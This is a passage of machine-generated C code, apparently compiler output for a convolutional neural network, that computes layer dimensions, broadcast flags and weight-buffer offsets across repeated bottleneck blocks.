65536 * x12911;\nint32_t x12916 = x12915 * x12911;\nint32_t x12912 = x12911 * x12911;\nint32_t x12913 = 1024 * x12912;\nfloat* x75 = x5+2436544;\nbool x12996 = x12911 == 1;\nbool x12997 = x12996 || true;\nbool x12998 = x12997 || x12996;\nbool x13008 = x12911 <= 1;\nint32_t x13009;\nif (x13008) {\nx13009 = 1;\n} else {\nx13009 = x12911;\n}\nint32_t x13015 = x13009 * x13009;\nint32_t x13019;\nif (x12996) {\nx13019 = 0;\n} else {\nx13019 = x12911;\n}\nint32_t x13020;\nif (x12996) {\nx13020 = 0;\n} else {\nx13020 = 1;\n}\nfloat* x86 = x5+2962880;\nfloat* x211 = x5+2963904;\nbool x13099 = x13009 == 1;\nbool x13100 = x13099 || true;\nbool x13101 = x13100 || x13099;\nbool x13111 = x13009 <= 1;\nint32_t x13112;\nif (x13111) {\nx13112 = 1;\n} else {\nx13112 = x13009;\n}\nint32_t x13118 = x13112 * x13112;\nint32_t x13123;\nif (x13099) {\nx13123 = 0;\n} else {\nx13123 = x13009;\n}\nint32_t x13124;\nif (x13099) {\nx13124 = 0;\n} else {\nx13124 = 1;\n}\nbool x13187 = x13112 == 1;\nbool x13188 = x13187 || true;\nbool x13189 = x13188 || x13187;\nbool x13199 = x13112 <= 1;\nint32_t x13200;\nif (x13199) {\nx13200 = 1;\n} else {\nx13200 = x13112;\n}\nint32_t x13206 = x13200 * x13200;\nint32_t x13211;\nif (x13187) {\nx13211 = 0;\n} else {\nx13211 = x13112;\n}\nint32_t x13212;\nif (x13187) {\nx13212 = 0;\n} else {\nx13212 = 1;\n}\nfloat* x29 = x5+2960832;\nbool x13275 = x13200 == 1;\nbool x13276 = x13275 || true;\nbool x13277 = x13276 || x13275;\nbool x13287 = x13200 <= 1;\nint32_t x13288;\nif (x13287) {\nx13288 = 1;\n} else {\nx13288 = x13200;\n}\nint32_t x13294 = x13288 * x13288;\nint32_t x13299;\nif (x13275) {\nx13299 = 0;\n} else {\nx13299 = x13200;\n}\nint32_t x13300;\nif (x13275) {\nx13300 = 0;\n} else {\nx13300 = 1;\n}\nfloat* x220 = x5+2961856;\nbool x13339 = x12864 == 1;\nbool x13340 = x13288 == 1;\nbool x13341 = x13339 || x13340;\nbool x13342 = x12864 == x13288;\nbool x13343 = x13341 || x13342;\nbool x13353 = x12864 <= x13288;\nint32_t x13354;\nif (x13353) {\nx13354 = x13288;\n} else {\nx13354 = x12864;\n}\nint32_t x13369;\nif (x13339) {\nx13369 = 0;\n} else {\nx13369 = x12864;\n}\nint32_t x13370;\nif (x13339) {\nx13370 = 0;\n} else {\nx13370 = 1;\n}\nint32_t x13372;\nif (x13340) {\nx13372 = 0;\n} else {\nx13372 = x13288;\n}\nint32_t x13373;\nif (x13340) {\nx13373 = 0;\n} else {\nx13373 = 1;\n}\nint32_t x13419 = x12864 - 1;\nint32_t x13420 = x13419 / 1;\nint32_t x13421 = x13420 + 1;\nint32_t x13425 = 16384 * x13421;\nint32_t x13426 = x13425 * x13421;\nint32_t x13422 = x13421 * x13421;\nint32_t x13423 = 256 * x13422;\nfloat* x13 = x5+2964928;\nbool x13500 = x13421 == 1;\nbool x13501 = x13500 || true;\nbool x13502 = x13501 || x13500;\nbool x13512 = x13421 <= 1;\nint32_t x13513;\nif (x13512) {\nx13513 = 1;\n} else {\nx13513 = x13421;\n}\nint32_t x13519 = x13513 * x13513;\nint32_t x13523;\nif (x13500) {\nx13523 = 0;\n} else {\nx13523 = x13421;\n}\nint32_t x13524;\nif (x13500) {\nx13524 = 0;\n} else {\nx13524 = 1;\n}\nfloat* x259 = x5+3227584;\nfloat* x157 = x5+3227840;\nbool x13603 = x13513 == 1;\nbool x13604 = x13603 || true;\nbool x13605 = x13604 || x13603;\nbool x13615 = x13513 <= 1;\nint32_t x13616;\nif (x13615) {\nx13616 = 1;\n} else {\nx13616 = x13513;\n}\nint32_t x13622 = x13616 * x13616;\nint32_t x13627;\nif (x13603) {\nx13627 = 0;\n} else {\nx13627 = x13513;\n}\nint32_t x13628;\nif (x13603) {\nx13628 = 0;\n} else {\nx13628 = 1;\n}\nbool x13691 = x13616 == 1;\nbool x13692 = x13691 || true;\nbool x13693 = x13692 || x13691;\nbool x13703 = x13616 <= 1;\nint32_t x13704;\nif (x13703) {\nx13704 = 1;\n} else {\nx13704 = x13616;\n}\nint32_t x13710 = x13704 * x13704;\nint32_t x13715;\nif (x13691) {\nx13715 = 0;\n} else {\nx13715 = x13616;\n}\nint32_t x13716;\nif (x13691) {\nx13716 = 0;\n} else {\nx13716 = 1;\n}\nfloat* x30 = x5+3227072;\nbool x13779 = x13704 == 1;\nbool x13780 = x13779 || true;\nbool x13781 = x13780 || x13779;\nbool x13791 = x13704 <= 1;\nint32_t x13792;\nif (x13791) {\nx13792 = 1;\n} else {\nx13792 = x13704;\n}\nint32_t x13798 = x13792 * x13792;\nint32_t x13803;\nif (x13779) {\nx13803 = 0;\n} else {\nx13803 = x13704;\n}\nint32_t x13804;\nif (x13779) {\nx13804 = 0;\n} else {\nx13804 = 1;\n}\nfloat* x219 = x5+3227328;\nint32_t x13851 = x13792 + 2;\nint32_t x13852 = x13851 - 3;\nint32_t x13853 = x13852 / 1;\nint32_t x13854 = x13853 + 1;\nint32_t x13858 = 16384 * x13854;\nint32_t x13859 = x13858 * x13854;\nint32_t x13855 = x13854 * x13854;\nint32_t x13856 = 256 * x13855;\nfloat* x31 = x5+3228096;\nbool x13981 = x13854 == 1;\nbool x13982 = x13981 || true;\nbool x13983 = x13982 || x13981;\nbool x13993 = x13854 <= 1;\nint32_t x13994;\nif (x13993) {\nx13994 = 1;\n} else {\nx13994 = x13854;\n}\nint32_t x14000 = x13994 * x13994;\nint32_t x14004;\nif (x13981) {\nx14004 = 0;\n} else {\nx14004 = x13854;\n}\nint32_t x14005;\nif (x13981) {\nx14005 = 0;\n} else {\nx14005 = 1;\n}\nfloat* x200 = x5+3818432;\nfloat* x237 = x5+3818688;\nbool x14084 = x13994 == 1;\nbool x14085 = x14084 || true;\nbool x14086 = x14085 || x14084;\nbool x14096 = x13994 <= 1;\nint32_t x14097;\nif (x14096) {\nx14097 = 1;\n} else {\nx14097 = x13994;\n}\nint32_t x14103 = x14097 * x14097;\nint32_t x14108;\nif (x14084) {\nx14108 = 0;\n} else {\nx14108 = x13994;\n}\nint32_t x14109;\nif (x14084) {\nx14109 = 0;\n} else {\nx14109 = 1;\n}\nbool x14172 = x14097 == 1;\nbool x14173 = x14172 || true;\nbool x14174 = x14173 || x14172;\nbool x14184 = x14097 <= 1;\nint32_t x14185;\nif (x14184) {\nx14185 = 1;\n} else {\nx14185 = x14097;\n}\nint32_t x14191 = x14185 * x14185;\nint32_t x14196;\nif (x14172) {\nx14196 = 0;\n} else {\nx14196 = x14097;\n}\nint32_t x14197;\nif (x14172) {\nx14197 = 0;\n} else {\nx14197 = 1;\n}\nfloat* x271 = x5+3817920;\nbool x14260 = x14185 == 1;\nbool x14261 = x14260 || true;\nbool x14262 = x14261 || x14260;\nbool x14272 = x14185 <= 1;\nint32_t x14273;\nif (x14272) {\nx14273 = 1;\n} else {\nx14273 = x14185;\n}\nint32_t x14279 = x14273 * x14273;\nint32_t x14284;\nif (x14260) {\nx14284 = 0;\n} else {\nx14284 = x14185;\n}\nint32_t x14285;\nif (x14260) {\nx14285 = 0;\n} else {\nx14285 = 1;\n}\nfloat* x96 = x5+3818176;\nint32_t x14332 = x14273 - 1;\nint32_t x14333 = x14332 / 1;\nint32_t x14334 = x14333 + 1;\nint32_t x14338 = 65536 * x14334;\nint32_t x14339 = x14338 * x14334;\nint32_t x14335 = x14334 * x14334;\nint32_t x14336 = 1024 * x14335;\nfloat* x56 = x5+3818944;\nbool x14413 = x14334 == 1;\nbool x14414 = x14413 || true;\nbool x14415 = x14414 || x14413;\nbool x14425 = x14334 <= 1;\nint32_t x14426;\nif (x14425) {\nx14426 = 1;\n} else {\nx14426 = x14334;\n}\nint32_t x14432 = x14426 * x14426;\nint32_t x14436;\nif (x14413) {\nx14436 = 0;\n} else {\nx14436 = x14334;\n}\nint32_t x14437;\nif (x14413) {\nx14437 = 0;\n} else {\nx14437 = 1;\n}\nfloat* x182 = x5+4083136;\nfloat* x143 = x5+4084160;\nbool x14516 = x14426 == 1;\nbool x14517 = x14516 || true;\nbool x14518 = x14517 || x14516;\nbool x14528 = x14426 <= 1;\nint32_t x14529;\nif (x14528) {\nx14529 = 1;\n} else {\nx14529 = x14426;\n}\nint32_t x14535 = x14529 * x14529;\nint32_t x14540;\nif (x14516) {\nx14540 = 0;\n} else {\nx14540 = x14426;\n}\nint32_t x14541;\nif (x14516) {\nx14541 = 0;\n} else {\nx14541 = 1;\n}\nbool x14604 = x14529 == 1;\nbool x14605 = x14604 || true;\nbool x14606 = x14605 || x14604;\nbool x14616 = x14529 <= 1;\nint32_t x14617;\nif (x14616) {\nx14617 = 1;\n} else {\nx14617 = x14529;\n}\nint32_t x14623 = x14617 * x14617;\nint32_t x14628;\nif (x14604) {\nx14628 = 0;\n} else {\nx14628 = x14529;\n}\nint32_t x14629;\nif (x14604) {\nx14629 = 0;\n} else {\nx14629 = 1;\n}\nfloat* x20 = x5+4081088;\nbool x14692 = x14617 == 1;\nbool x14693 = x14692 || true;\nbool x14694 = x14693 || x14692;\nbool x14704 = x14617 <= 1;\nint32_t x14705;\nif (x14704) {\nx14705 = 1;\n} else {\nx14705 = x14617;\n}\nint32_t x14711 = x14705 * x14705;\nint32_t x14716;\nif (x14692) {\nx14716 = 0;\n} else {\nx14716 = x14617;\n}\nint32_t x14717;\nif (x14692) {\nx14717 = 0;\n} else {\nx14717 = 1;\n}\nfloat* x232 = x5+4082112;\nbool x14755 = x14705 == 1;\nbool x14756 = x14755 || x13339;\nbool x14757 = x14705 == x12864;\nbool x14758 = x14756 || x14757;\nbool x14768 = x14705 <= x12864;\nint32_t x14769;\nif (x14768) {\nx14769 = x12864;\n} else {\nx14769 = x14705;\n}\nint32_t x14784;\nif (x14755) {\nx14784 = 0;\n} else {\nx14784 = x14705;\n}\nint32_t x14785;\nif (x14755) {\nx14785 = 0;\n} else {\nx14785 = 1;\n}\nint32_t x14831 = x14705 - 1;\nint32_t x14832 = x14831 / 1;\nint32_t x14833 = x14832 + 1;\nint32_t x14837 = 16384 * x14833;\nint32_t x14838 = x14837 * x14833;\nint32_t x14834 = x14833 * x14833;\nint32_t x14835 = 256 * x14834;\nfloat* x218 = x5+4085184;\nbool x14912 = x14833 == 1;\nbool x14913 = x14912 || true;\nbool x14914 = x14913 || x14912;\nbool x14924 = x14833 <= 1;\nint32_t x14925;\nif (x14924) {\nx14925 = 1;\n} else {\nx14925 = x14833;\n}\nint32_t x14931 = x14925 * x14925;\nint32_t x14935;\nif (x14912) {\nx14935 = 0;\n} else {\nx14935 = x14833;\n}\nint32_t x14936;\nif (x14912) {\nx14936 = 0;\n} else {\nx14936 = 1;\n}\nfloat* x178 = x5+4347840;\nfloat* x174 = x5+4348096;\nbool x15015 = x14925 == 1;\nbool x15016 = x15015 || true;\nbool x15017 = x15016 || x15015;\nbool x15027 = x14925 <= 1;\nint32_t x15028;\nif (x15027) {\nx15028 = 1;\n} else {\nx15028 = x14925;\n}\nint32_t x15034 = x15028 * x15028;\nint32_t x15039;\nif (x15015) {\nx15039 = 0;\n} else {\nx15039 = x14925;\n}\nint32_t x15040;\nif (x15015) {\nx15040 = 0;\n} else {\nx15040 = 1;\n}\nbool x15103 = x15028 == 1;\nbool x15104 = x15103 || true;\nbool x15105 = x15104 || x15103;\nbool x15115 = x15028 <= 1;\nint32_t x15116;\nif (x15115) {\nx15116 = 1;\n} else {\nx15116 = x15028;\n}\nint32_t x15122 = x15116 * x15116;\nint32_t x15127;\nif (x15103) {\nx15127 = 0;\n} else {\nx15127 = x15028;\n}\nint32_t x15128;\nif (x15103) {\nx15128 = 0;\n} else {\nx15128 = 1;\n}\nfloat* x129 = x5+4347328;\nbool x15191 = x15116 == 1;\nbool x15192 = x15191 || true;\nbool x15193 = x15192 || x15191;\nbool x15203 = x15116 <= 1;\nint32_t x15204;\nif (x15203) {\nx15204 = 1;\n} else {\nx15204 = x15116;\n}\nint32_t x15210 = x15204 * x15204;\nint32_t x15215;\nif (x15191) {\nx15215 = 0;\n} else {\nx15215 = x15116;\n}\nint32_t x15216;\nif (x15191) {\nx15216 = 0;\n} else {\nx15216 = 1;\n}\nfloat* x197 = x5+4347584;\nint32_t x15263 = x15204 + 2;\nint32_t x15264 = x15263 - 3;\nint32_t x15265 = x15264 / 1;\nint32_t x15266 = x15265 + 1;\nint32_t x15270 = 16384 * x15266;\nint32_t x15271 = x15270 * x15266;\nint32_t x15267 = x15266 * x15266;\nint32_t x15268 = 256 * x15267;\nfloat* x14 = x5+4348352;\nbool x15393 = x15266 == 1;\nbool x15394 = x15393 || true;\nbool x15395 = x15394 || x15393;\nbool x15405 = x15266 <= 1;\nint32_t x15406;\nif (x15405) {\nx15406 = 1;\n} else {\nx15406 = x15266;\n}\nint32_t x15412 = x15406 * x15406;\nint32_t x15416;\nif (x15393) {\nx15416 = 0;\n} else {\nx15416 = x15266;\n}\nint32_t x15417;\nif (x15393) {\nx15417 = 0;\n} else {\nx15417 = 1;\n}\nfloat* x124 = x5+4938688;\nfloat* x63 = x5+4938944;\nbool x15496 = x15406 == 1;\nbool x15497 = x15496 || true;\nbool x15498 = x15497 || x15496;\nbool x15508 = x15406 <= 1;\nint32_t x15509;\nif (x15508) {\nx15509 = 1;\n} else {\nx15509 = x15406;\n}\nint32_t x15515 = x15509 * x15509;\nint32_t x15520;\nif (x15496) {\nx15520 = 0;\n} else {\nx15520 = x15406;\n}\nint32_t x15521;\nif (x15496) {\nx15521 = 0;\n} else {\nx15521 = 1;\n}\nbool x15584 = x15509 == 1;\nbool x15585 = x15584 || true;\nbool x15586 = x15585 || x15584;\nbool x15596 = x15509 <= 1;\nint32_t x15597;\nif (x15596) {\nx15597 = 1;\n} else {\nx15597 = x15509;\n}\nint32_t x15603 = x15597 * x15597;\nint32_t x15608;\nif (x15584) {\nx15608 = 0;\n} else {\nx15608 = x15509;\n}\nint32_t x15609;\nif (x15584) {\nx15609 = 0;\n} else {\nx15609 = 1;\n}\nfloat* x228 = x5+4938176;\nbool x15672 = x15597 == 1;\nbool x15673 = x15672 || true;\nbool x15674 = x15673 || x15672;\nbool x15684 = x15597 <= 1;\nint32_t x15685;\nif (x15684) {\nx15685 = 1;\n} else {\nx15685 = x15597;\n}\nint32_t x15691 = x15685 * x15685;\nint32_t x15696;\nif (x15672) {\nx15696 = 0;\n} else {\nx15696 = x15597;\n}\nint32_t x15697;\nif (x15672) {\nx15697 = 0;\n} else {\nx15697 = 1;\n}\nfloat* x192 = x5+4938432;\nint32_t x15744 = x15685 - 1;\nint32_t x15745 = x15744 / 1;\nint32_t x15746 = x15745 + 1;\nint32_t x15750 = 65536 * x15746;\nint32_t x15751 = x15750 * x15746;\nint32_t x15747 = x15746 * x15746;\nint32_t x15748 = 1024 * x15747;\nfloat* x116 = x5+4939200;\nbool x15825 = x15746 == 1;\nbool x15826 = x15825 || true;\nbool x15827 = x15826 || x15825;\nbool x15837 = x15746 <= 1;\nint32_t x15838;\nif (x15837) {\nx15838 = 1;\n} else {\nx15838 = x15746;\n}\nint32_t x15844 = x15838 * x15838;\nint32_t x15848;\nif (x15825) {\nx15848 = 0;\n} else {\nx15848 = x15746;\n}\nint32_t x15849;\nif (x15825) {\nx15849 = 0;\n} else {\nx15849 = 1;\n}\nfloat* x140 = x5+5203392;\nfloat* x188 = x5+5204416;\nbool x15928 = x15838 == 1;\nbool x15929 = x15928 || true;\nbool x15930 = x15929 || x15928;\nbool x15940 = x15838 <= 1;\nint32_t x15941;\nif (x15940) {\nx15941 = 1;\n} else {\nx15941 = x15838;\n}\nint32_t x15947 = x15941 * x15941;\nint32_t x15952;\nif (x15928) {\nx15952 = 0;\n} else {\nx15952 = x15838;\n}\nint32_t x15953;\nif (x15928) {\nx15953 = 0;\n} else {\nx15953 = 1;\n}\nbool x16016 = x15941 == 1;\nbool x16017 = x16016 || true;\nbool x16018 = x16017 || x16016;\nbool x16028 = x15941 <= 1;\nint32_t x16029;\nif (x16028) {\nx16029 = 1;\n} else {\nx16029 = x15941;\n}\nint32_t x16035 = x16029 * x16029;\nint32_t x16040;\nif (x16016) {\nx16040 = 0;\n} else {\nx16040 = x15941;\n}\nint32_t x16041;\nif (x16016) {\nx16041 = 0;\n} else {\nx16041 = 1;\n}\nfloat* x263 = x5+5201344;\nbool x16104 = x16029 == 1;\nbool x16105 = x16104 || true;\nbool x16106 = x16105 || x16104;\nbool x16116 = x16029 <= 1;\nint32_t x16117;\nif (x16116) {\nx16117 = 1;\n} else {\nx16117 = x16029;\n}\nint32_t x16123 = x16117 * x16117;\nint32_t x16128;\nif (x16104) {\nx16128 = 0;\n} else {\nx16128 = x16029;\n}\nint32_t x16129;\nif (x16104) {\nx16129 = 0;\n} else {\nx16129 = 1;\n}\nfloat* x57 = x5+5202368;\nbool x16167 = x16117 == 1;\nbool x16168 = x16167 || x14755;\nbool x16169 = x16117 == x14705;\nbool x16170 = x16168 || x16169;\nbool x16180 = x16117 <= x14705;\nint32_t x16181;\nif (x16180) {\nx16181 = x14705;\n} else {\nx16181 = x16117;\n}\nint32_t x16196;\nif (x16167) {\nx16196 = 0;\n} else {\nx16196 = x16117;\n}\nint32_t x16197;\nif (x16167) {\nx16197 = 0;\n} else {\nx16197 = 1;\n}\nint32_t x16243 = x16117 - 1;\nint32_t x16244 = x16243 / 1;\nint32_t x16245 = x16244 + 1;\nint32_t x16249 = 16384 * x16245;\nint32_t x16250 = x16249 * x16245;\nint32_t x16246 = x16245 * x16245;\nint32_t x16247 = 256 * x16246;\nfloat* x6 = x5+5205440;\nbool x16324 = x16245 == 1;\nbool x16325 = x16324 || true;\nbool x16326 = x16325 || x16324;\nbool x16336 = x16245 <= 1;\nint32_t x16337;\nif (x16336) {\nx16337 = 1;\n} else {\nx16337 = x16245;\n}\nint32_t x16343 = x16337 * x16337;\nint32_t x16347;\nif (x16324) {\nx16347 = 0;\n} else {\nx16347 = x16245;\n}\nint32_t x16348;\nif (x16324) {\nx16348 = 0;\n} else {\nx16348 = 1;\n}\nfloat* x163 = x5+5468096;\nfloat* x98 = x5+5468352;\nbool x16427 = x16337 == 1;\nbool x16428 = x16427 || true;\nbool x16429 = x16428 || x16427;\nbool x16439 = x16337 <= 1;\nint32_t x16440;\nif (x16439) {\nx16440 = 1;\n} else {\nx16440 = x16337;\n}\nint32_t x16446 = x16440 * x16440;\nint32_t x16451;\nif (x16427) {\nx16451 = 0;\n} else {\nx16451 = x16337;\n}\nint32_t x16452;\nif (x16427) {\nx16452 = 0;\n} else {\nx16452 = 1;\n}\nbool x16515 = x16440 == 1;\nbool x16516 = x16515 || true;\nbool x16517 = x16516 || x16515;\nbool x16527 = x16440 <= 1;\nint32_t x16528;\nif (x16527) {\nx16528 = 1;\n} else {\nx16528 = x16440;\n}\nint32_t x16534 = x16528 * x16528;\nint32_t x16539;\nif (x16515) {\nx16539 = 0;\n} else {\nx16539 = x16440;\n}\nint32_t x16540;\nif (x16515) {\nx16540 = 0;\n} else {\nx16540 = 1;\n}\nfloat* x92 = x5+5467584;\nbool x16603 = x16528 == 1;\nbool x16604 = x16603 || true;\nbool x16605 = x16604 || x16603;\nbool x16615 = x16528 <= 1;\nint32_t x16616;\nif (x16615) {\nx16616 = 1;\n} else {\nx16616 = x16528;\n}\nint32_t x16622 = x16616 * x16616;\nint32_t x16627;\nif (x16603) {\nx16627 = 0;\n} else {\nx16627 = x16528;\n}\nint32_t x16628;\nif (x16603) {\nx16628 = 0;\n} else {\nx16628 = 1;\n}\nfloat* x241 = x5+5467840;\nint32_t x16675 = x16616 + 2;\nint32_t x16676 = x16675 - 3;\nint32_t x16677 = x16676 / 1;\nint32_t x16678 = x16677 + 1;\nint32_t x16682 = 16384 * x16678;\nint32_t x16683 = x16682 * x16678;\nint32_t x16679 = x16678 * x16678;\nint32_t x16680 = 256 * x16679;\nfloat* x249 = x5+5468608;\nbool x16805 = x16678 == 1;\nbool x16806 = x16805 || true;\nbool x16807 = x16806 || x16805;\nbool x16817 = x16678 <= 1;\nint32_t x16818;\nif (x16817) {\nx16818 = 1;\n} else {\nx16818 = x16678;\n}\nint32_t x16824 = x16818 * x16818;\nint32_t x16828;\nif (x16805) {\nx16828 = 0;\n} else {\nx16828 = x16678;\n}\nint32_t x16829;\nif (x16805) {\nx16829 = 0;\n} else {\nx16829 = 1;\n}\nfloat* x186 = x5+6058944;\nfloat* x230 = x5+6059200;\nbool x16908 = x16818 == 1;\nbool x16909 = x16908 || true;\nbool x16910 = x16909 || x16908;\nbool x16920 = x16818 <= 1;\nint32_t x16921;\nif (x16920) {\nx16921 = 1;\n} else {\nx16921 = x16818;\n}\nint32_t x16927 = x16921 * x16921;\nint32_t x16932;\nif (x16908) {\nx16932 = 0;\n} else {\nx16932 = x16818;\n}\nint32_t x16933;\nif (x16908) {\nx16933 = 0;\n} else {\nx16933 = 1;\n}\nbool x16996 = x16921 == 1;\nbool x16997 = x16996 || true;\nbool x16998 = x16997 || x16996;\nbool x17008 = x16921 <= 1;\nint32_t x17009;\nif (x17008) {\nx17009 = 1;\n} else {\nx17009 = x16921;\n}\nint32_t x17015 = x17009 * x17009;\nint32_t x17020;\nif (x16996) {\nx17020 = 0;\n} else {\nx17020 = x16921;\n}\nint32_t x17021;\nif (x16996) {\nx17021 = 0;\n} else {\nx17021 = 1;\n}\nfloat* x74 = x5+6058432;\nbool x17084 = x17009 == 1;\nbool x17085 = x17084 || true;\nbool x17086 = x17085 || x17084;\nbool x17096 = x17009 <= 1;\nint32_t x17097;\nif (x17096) {\nx17097 = 1;\n} else {\nx17097 = x17009;\n}\nint32_t x17103 = x17097 * x17097;\nint32_t x17108;\nif (x17084) {\nx17108 = 0;\n} else {\nx17108 = x17009;\n}\nint32_t x17109;\nif (x17084) {\nx17109 = 0;\n} else {\nx17109 = 1;\n}\nfloat* x136 = x5+6058688;\nint32_t x17156 = x17097 - 1;\nint32_t x17157 = x17156 / 1;\nint32_t x17158 = x17157 + 1;\nint32_t x17162 = 65536 * x17158;\nint32_t x17163 = x17162 * x17158;\nint32_t x17159 = x17158 * x17158;\nint32_t x17160 = 1024 * x17159;\nfloat* x89 = x5+6059456;\nbool x17237 = x17158 == 1;\nbool x17238 = x17237 || true;\nbool x17239 = x17238 || x17237;\nbool x17249 = x17158 <= 1;\nint32_t x17250;\nif (x17249) {\nx17250 = 1;\n} else {\nx17250 = x17158;\n}\nint32_t x17256 = x17250 * x17250;\nint32_t x17260;\nif (x17237) {\nx17260 = 0;\n} else {\nx17260 = x17158;\n}\nint32_t x17261;\nif (x17237) {\nx17261 = 0;\n} else {\nx17261 = 1;\n}\nfloat* x231 = x5+6323648;\nfloat* x161 = x5+6324672;\nbool x17340 = x17250 == 1;\nbool x17341 = x17340 || true;\nbool x17342 = x17341 || x17340;\nbool x17352 = x17250 <= 1;\nint32_t x17353;\nif (x17352) {\nx17353 = 1;\n} else {\nx17353 = x17250;\n}\nint32_t x17359 = x17353 * x17353;\nint32_t x17364;\nif (x17340) {\nx17364 = 0;\n} else {\nx17364 = x17250;\n}\nint32_t x17365;\nif (x17340) {\nx17365 = 0;\n} else {\nx17365 = 1;\n}\nbool x17428 = x17353 == 1;\nbool x17429 = x17428 || true;\nbool x17430 = x17429 || x17428;\nbool x17440 = x17353 <= 1;\nint32_t x17441;\nif (x17440) {\nx17441 = 1;\n} else {\nx17441 = x17353;\n}\nint32_t x17447 = x17441 * x17441;\nint32_t x17452;\nif (x17428) {\nx17452 = 0;\n} else {\nx17452 = x17353;\n}\nint32_t x17453;\nif (x17428) {\nx17453 = 0;\n} else {\nx17453 = 1;\n}\nfloat* x238 = x5+6321600;\nbool x17516 = x17441 == 1;\nbool x17517 = x17516 || true;\nbool x17518 = x17517 || x17516;\nbool x17528 = x17441 <= 1;\nint32_t x17529;\nif (x17528) {\nx17529 = 1;\n} else {\nx17529 = x17441;\n}\nint32_t x17535 = x17529 * x17529;\nint32_t x17540;\nif (x17516) {\nx17540 = 0;\n} else {\nx17540 = x17441;\n}\nint32_t x17541;\nif (x17516) {\nx17541 = 0;\n} else {\nx17541 = 1;\n}\nfloat* x146 = x5+6322624;\nbool x17579 = x17529 == 1;\nbool x17580 = x17579 || x16167;\nbool x17581 = x17529 == x16117;\nbool x17582 = x17580 || x17581;\nbool x17592 = x17529 <= x16117;\nint32_t x17593;\nif (x17592) {\nx17593 = x16117;\n} else {\nx17593 = x17529;\n}\nint32_t x17608;\nif (x17579) {\nx17608 = 0;\n} else {\nx17608 = x17529;\n}\nint32_t x17609;\nif (x17579) {\nx17609 = 0;\n} else {\nx17609 = 1;\n}\nint32_t x17655 = x17529 - 1;\nint32_t x17656 = x17655 / 1;\nint32_t x17657 = x17656 + 1;\nint32_t x17661 = 16384 * x17657;\nint32_t x17662 = x17661 * x17657;\nint32_t x17658 = x17657 * x17657;\nint32_t x17659 = 256 * x17658;\nfloat* x22 = x5+6325696;\nbool x17736 = x17657 == 1;\nbool x17737 = x17736 || true;\nbool x17738 = x17737 || x17736;\nbool x17748 = x17657 <= 1;\nint32_t x17749;\nif (x17748) {\nx17749 = 1;\n} else {\nx17749 = x17657;\n}\nint32_t x17755 = x17749 * x17749;\nint32_t x17759;\nif (x17736) {\nx17759 = 0;\n} else {\nx17759 = x17657;\n}\nint32_t x17760;\nif (x17736) {\nx17760 = 0;\n} else {\nx17760 = 1;\n}\nfloat* x254 = x5+6588352;\nfloat* x69 = x5+6588608;\nbool x17839 = x17749 == 1;\nbool x17840 = x17839 || true;\nbool x17841 = x17840 || x17839;\nbool x17851 = x17749 <= 1;\nint32_t x17852;\nif (x17851) {\nx17852 = 1;\n} else {\nx17852 = x17749;\n}\nint32_t x17858 = x17852 * x17852;\nint32_t x17863;\nif (x17839) {\nx17863 = 0;\n} else {\nx17863 = x17749;\n}\nint32_t x17864;\nif (x17839) {\nx17864 = 0;\n} else {\nx17864 = 1;\n}\nbool x17927 = x17852 == 1;\nbool x17928 = x17927 || true;\nbool x17929 = x17928 || x17927;\nbool x17939 = x17852 <= 1;\nint32_t x17940;\nif (x17939) {\nx17940 = 1;\n} else {\nx17940 = x17852;\n}\nint32_t x17946 = x17940 * x17940;\nint32_t x17951;\nif (x17927) {\nx17951 = 0;\n} else {\nx17951 = x17852;\n}\nint32_t x17952;\nif (x17927) {\nx17952 = 0;\n} else {\nx17952 = 1;\n}\nfloat* x77 = x5+6587840;\nbool x18015 = x17940 == 1;\nbool x18016 = x18015 || true;\nbool x18017 = x18016 || x18015;\nbool x18027 = x17940 <= 1;\nint32_t x18028;\nif (x18027) {\nx18028 = 1;\n} else {\nx18028 = x17940;\n}\nint32_t x18034 = x18028 * x18028;\nint32_t x18039;\nif (x18015) {\nx18039 = 0;\n} else {\nx18039 = x17940;\n}\nint32_t x18040;\nif (x18015) {\nx18040 = 0;\n} else {\nx18040 = 1;\n}\nfloat* x185 = x5+6588096;\nint32_t x18087 = x18028 + 2;\nint32_t x18088 = x18087 - 3;\nint32_t x18089 = x18088 / 1;\nint32_t x18090 = x18089 + 1;\nint32_t x18094 = 16384 * x18090;\nint32_t x18095 = x18094 * x18090;\nint32_t x18091 = x18090 * x18090;\nint32_t x18092 = 256 * x18091;\nfloat* x262 = x5+6588864;\nbool x18217 = x18090 == 1;\nbool x18218 = x18217 || true;\nbool x18219 = x18218 || x18217;\nbool x18229 = x18090 <= 1;\nint32_t x18230;\nif (x18229) {\nx18230 = 1;\n} else {\nx18230 = x18090;\n}\nint32_t x18236 = x18230 * x18230;\nint32_t x18240;\nif (x18217) {\nx18240 = 0;\n} else {\nx18240 = x18090;\n}\nint32_t x18241;\nif (x18217) {\nx18241 = 0;\n} else {\nx18241 = 1;\n}\nfloat* x250 = x5+7179200;\nfloat* x104 = x5+7179456;\nbool x18320 = x18230 == 1;\nbool x18321 = x18320 || true;\nbool x18322 = x18321 || x18320;\nbool x18332 = x18230 <= 1;\nint32_t x18333;\nif (x18332) {\nx18333 = 1;\n} else {\nx18333 = x18230;\n}\nint32_t x18339 = x18333 * x18333;\nint32_t x18344;\nif (x18320) {\nx18344 = 0;\n} else {\nx18344 = x18230;\n}\nint32_t x18345;\nif (x18320) {\nx18345 = 0;\n} else {\nx18345 = 1;\n}\nbool x18408 = x18333 == 1;\nbool x18409 = x18408 || true;\nbool x18410 = x18409 || x18408;\nbool x18420 = x18333 <= 1;\nint32_t x18421;\nif (x18420) {\nx18421 = 1;\n} else {\nx18421 = x18333;\n}\nint32_t x18427 = x18421 * x18421;\nint32_t x18432;\nif (x18408) {\nx18432 = 0;\n} else {\nx18432 = x18333;\n}\nint32_t x18433;\nif (x18408) {\nx18433 = 0;\n} else {\nx18433 = 1;\n}\nfloat* x168 = x5+7178688;\nbool x18496 = x18421 == 1;\nbool x18497 = x18496 || true;\nbool x18498 = x18497 || x18496;\nbool x18508 = x18421 <= 1;\nint32_t x18509;\nif (x18508) {\nx18509 = 1;\n} else {\nx18509 = x18421;\n}\nint32_t x18515 = x18509 * x18509;\nint32_t x18520;\nif (x18496) {\nx18520 = 0;\n} else {\nx18520 = x18421;\n}\nint32_t x18521;\nif (x18496) {\nx18521 = 0;\n} else {\nx18521 = 1;\n}\nfloat* x109 = x5+7178944;\nint32_t x18568 = x18509 - 1;\nint32_t x18569 = x18568 / 1;\nint32_t x18570 = x18569 + 1;\nint32_t x18574 = 65536 * x18570;\nint32_t x18575 = x18574 * x18570;\nint32_t x18571 = x18570 * x18570;\nint32_t x18572 = 1024 * x18571;\nfloat* x221 = 